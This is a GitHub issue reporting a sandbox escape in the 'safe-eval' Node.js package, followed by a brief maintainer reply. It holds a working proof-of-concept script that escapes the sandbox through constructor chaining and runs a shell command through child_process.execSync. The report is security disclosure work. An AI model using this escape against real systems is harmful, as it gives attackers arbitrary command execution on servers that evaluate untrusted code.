We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
The following script can lead to safe-eval sandbox escape (node v12.13.0):
v12.13.0
const safeEval = require('safe-eval'); const theFunction = function() { const bad = new Error(); bad.__proto__ = null; bad.stack = { match(outer) { throw outer.constructor.constructor("return process")().mainModule.require('child_process').execSync('whoami').toString(); } }; return bad; }; const untrusted = `(${theFunction})()`; console.log(safeEval(untrusted));
Inspired from @XmiliaH 's vm2 escape.
The text was updated successfully, but these errors were encountered:
@a0xnirudh Appreciate the POC. I knew you could get mainModule but did not realize the require call was so straightforward.
Sorry, something went wrong.
No branches or pull requests
The following script can lead to safe-eval sandbox escape (node
v12.13.0
):Inspired from @XmiliaH 's vm2 escape.
The text was updated successfully, but these errors were encountered: